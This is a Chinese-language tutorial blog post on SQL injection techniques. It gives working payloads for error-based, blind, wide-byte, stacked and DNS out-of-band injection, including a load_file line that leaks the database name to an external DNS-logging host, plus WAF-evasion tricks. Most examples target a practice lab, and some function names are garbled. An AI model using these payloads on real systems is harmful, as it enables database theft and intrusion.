sql注入基础原理及注入方式

一、Sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

二、 SQL注入的简单流程

第一步:判断目标站点,是否存在注入漏洞
向页面传入一些指令 (SQL 语句 ) ,检查指令是否被执行,如果被执行,说明页面是可能存在 SQL 注入漏洞的;如
果不能被执行,说明可能不存在 SQL 注入漏洞
常用的闭合点 : '' 单引号 "" 双引号 (' ') (" ") * *

 第二步:判断数据表的字段数量

思路 : order by 字段编号

第三步:找到页面的显错位 

结合union select 语句查看页面显错位 

第四步:判断这个站点/页面用的数据的版本和当前数据库的名称 

select database()
select version()

第五步:判断表名  

使用 information_schema 库中的 tables

第六步:判断字段名  

使用information_schema库中的columns 

第七步:查询表中的数据(拖库) 

select 各种查询

三、sql注入漏洞方式

1、报错注入

通过数据库的抛出异常信息点将我们想要的信息一并显示出来
通常使用的报错函数
updatexml( 目标 xml 内容, xml 文档路径,需要替换的内容 )
在路径的位置上输入非法符号就可以产生报错,例如 ! # $
# 语句的构造方式
select updatexml(1,concat('%',database()),1)
# 实际应用的小案例
select updatexml(1,concat('%',(select group_concat(column_name) from
information_schema.columns where table_name='tb1')),1)

获取库名和版本信息

1' and updatexml(1,concat('!',database()),1) -- qqqqqq // 获取数据库名称
1' and updatexml(1,concat('~',version()),2) -- qqqqqqq

获取库中的表的名字

1' and updatexml(1,concat('!',(select group_concat(table_name) from
information_schema.tables where table_schema="security")),1) -- qqqqqqq

 获取users的表结构(获取表的字段名字)

1' and updatexml(1,concat('!',(select group_concat(column_name) from
information_schema.columns where table_name="users" and table_schema="security")),1) --
qqqqqqq

 

获取users表的username的所有记录  

1' and updatexml(1,concat('!',(select group_concat(email_id) from emails )),1) -- qqqqqqq 

2.堆叠注入

堆叠查询可以执行多条 SQL 语句,语句之间可以使用 (;) 作为分割符。堆叠注入主要是利用在第二条执行语句当 中执行攻击语句
危害 : 通过堆叠注入可以实现,增删改查任意的语句都可以。
注入条件:
● 数据库需要支持堆叠功能
● 传入的堆叠语句能够被后端程序作为sql 语句来执行

3.宽字节注入 

宽字节注入,在 SQL 注入的时候,一般开启 gpc ,过滤掉特殊字符,实现防注入。但是如果数据库设置宽字节字
符集 gbk ,会导致宽字节注入。通过宽字节逃逸 gpc
目前市面上 gbk big5 可以实现 gpc 逃逸。
注意 : \ %5c %df%5c %9c%5c %9d%5c

gpc逃逸过程  

%df%27===> addslashes ===> %df%5c%27 ===>gbk 字符集 == 》運 '

魔术引号原理 

$a = addslashes($_GET['name']);// 魔术引号,碰到单引号或者双引号的时候自动加上 \
$b = "select * from tb1 where n='$a'";//name=tom'
echo $b;
字符与 \ 组合在 gbk 当中会组成一个中文 ( 双字节 )
案例 :
http://www.sqli.zz/Less-32/?id=-1%df%27%20%2%20%20union%20select%201,2,3%20--+

 

4.DNS外带注入又称之为 DNS盲注

需要使用 dnslog 平台来进行注入
需要使用的函数 【读取系统中的文件的内容】 load_fifile(' 路径 ') , 【向系统中写入文件】 into outfifile " 路径 "
mysql 的配置文件是高权限的情况下才能使用
mysql 的配置文件中的 secure_fifile_priv= 没有任何文件限制

 案例:

select "abc" into outfile "D:/4.txt" # abc 字符串写入到 D 盘下面的 4.txt 文件,文件如果不存在,那么 会自动创建这个文件
select load_file("D:/4.txt") # 读取 D 盘下面的 4.TXT 文件中的内容

DNS平台

用来记录其他主机对此域名的解析记录  

 代码解析

# 通过 mysql load_file 函数来实现对域名的解析
# // 表示协议访问符号
select load_file(concat('//',(select
database()),'.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123'))

5.盲注 

布尔盲注

特点:没有显错位
根据执行结果,如果为真则显示指定内容,如果是假什么也不现实
mysql 函数
       1. length('str')
                ● 作用:计算字符串的长度
       2.substr('str',#,#)
                ● 截取字符串当中的某一个或者某几个字符
       3. ascii('str')
                ● 显示字符的ascii码

案例:

http://www.sqli.zz/Less-8/?id=1%27
构造语句
http://www.sqli.zz/Less-8/?id=1' order by 3 有数据 4 没数据
http://www.sqli.zz/Less-8/?id=1' union select 1,2,3 --+
因为没有显错位,看不到任何信息,只能靠猜测
http://www.sqli.zz/Less-8/?id=-1' or length(database()) > 4 --+ // 猜测数据库名的字符串长度 8
http://www.sqli.zz/Less-8/?id=-1' or ascii(substr(database(),1,1))<'100' --+ // 猜测数据库名的
第一个字符 8
http://www.sqli.zz/Less-8/?id=-1' or mid(database(),1,1)='a'
# 猜测表的名字
结合 BP 猜测数据库的名字
抓取请求数据包,条件:我们有构造好的 sql 语句,清空自动识别的 payload

 

自定义添加paylaod,第一 截取字符 第二 ascii数值设置 

 

构造数值起始值和终止值、步长 

 

 

时间盲注

条件:
可以通过 sql 语句执行结果的真假来判断,是否存在注入点
网络稳定、系统执行速度稳定
案例
#LESS-9
构造 payload
http://www.sqli.zz/Less-9/?id=1' and if((select
ascii(substr(database(),1,1))>'97'),sleep(3),0)--+

六、二次注入

在第一次进行数据库插入数据的时候,使用了 GPC 或者 addslashe( 魔术引号 ) ,会对引号做转义 \ ,但是 \ 不会插入到数据库当中,所以我们写入数据的时候写入的还是原数据

原理: 

业务场景 

修改密码功能
条件 : 已知用户名 ( 通过用户注册的昵称 ) 1'
修改密码 输入用户名 ( 判断用户是否存在 )---> 修改密码使用的是 (update )

七、BASE64注入 

BASE64 是一种编码格式, BASE64 注入,表示的是我们需要将恶意的 SQL 语句先进行一次 base64 转码,转码之后再传入的网站的后台程序

base64编码/解码的网站

https://tool.chinaz.com/tools/base64.aspx 

判断注入方式 GET / POST / COOKIE 

四、SQL注入的绕过

防注入 ---WAF( 网站防火墙 ) 可以拦截一些恶意注入行为。例如 IIS 安全狗, D 盾, 350webscan ,都可以对含有危害性语句做过滤和检测。
绕过 : 找到 waf 没有防御到的地方,然后进行注入。

空格字符绕过

针对对空格做过滤的waf  

可以代替空格的内容

%09 TAB 键(水平 )
%0b TAB ( 垂直 )
%0a 换行
%0c 新的一页
%0d return 功能
/**/ 代替空格
/* ! * /

大小写绕过

WAF 如果针对大写字母 SELECT INSERT 等等的 SQL 语句做过滤了,可以尝试使用 大小写子母混合编写的 SQL 语句  例如 SELECT select SeLeCT

 整数过滤

整数被过滤了,那么咱们使用 浮点型 ( 小数点的数字 )

NULL过滤 

http://www.kpl.zz/index.php?id=null%20AnD%201.0=1.0%20--+

引号绕过 

变量覆盖 

 http://www.kpl.zz/index.php?id=1%00&id=2%20--+

id=1&id=2 最终 id 是等于 2

join绕过

union做了限制 

select 1,2,3 union select 'a','b','c'

使用join进行绕过

select 1,2
等同于
select * from (select 1)a join (select 2)b

 

 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入原理是攻击者在用户提交数据时,将恶意的SQL语句注入到应用程序中,从而导致应用程序对数据库的非法操作。攻击者可以通过SQL注入攻击获取数据库中的敏感信息、修改、删除或添加数据等。 防范SQL注入攻击的原理包括以下几点: 1. 数据过滤:在客户端或服务端对输入数据进行过滤,过滤掉特殊字符和SQL关键字,避免攻击者通过输入恶意数据来注入SQL语句。 2. 预编译语句:使用预编译语句可以防止SQL注入攻击。预编译语句是在执行SQL语句之前将SQL语句和参数分离,对参数进行验证和过滤,然后将参数传递给SQL语句执行,从而避免SQL注入攻击。 3. 参数化查询:使用参数化查询可以有效地防止SQL注入攻击。参数化查询是将SQL语句和参数分离,将参数作为占位符传递给SQL语句,然后将参数绑定到占位符上执行SQL语句。 4. 最小化权限:限制数据库用户的权限可以减少SQL注入攻击的影响。将数据库用户的权限最小化,只赋予其必要的权限,可以限制攻击者对数据库的访问。 5. 安全编码:编写安全的代码可以有效地防止SQL注入攻击。编写安全的代码包括正确的输入验证、错误处理、日志记录等。 总之,防范SQL注入攻击的原理是通过数据过滤、预编译语句、参数化查询、最小化权限和安全编码等方式,避免攻击者将恶意的SQL语句注入到应用程序中,从而保护数据库的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值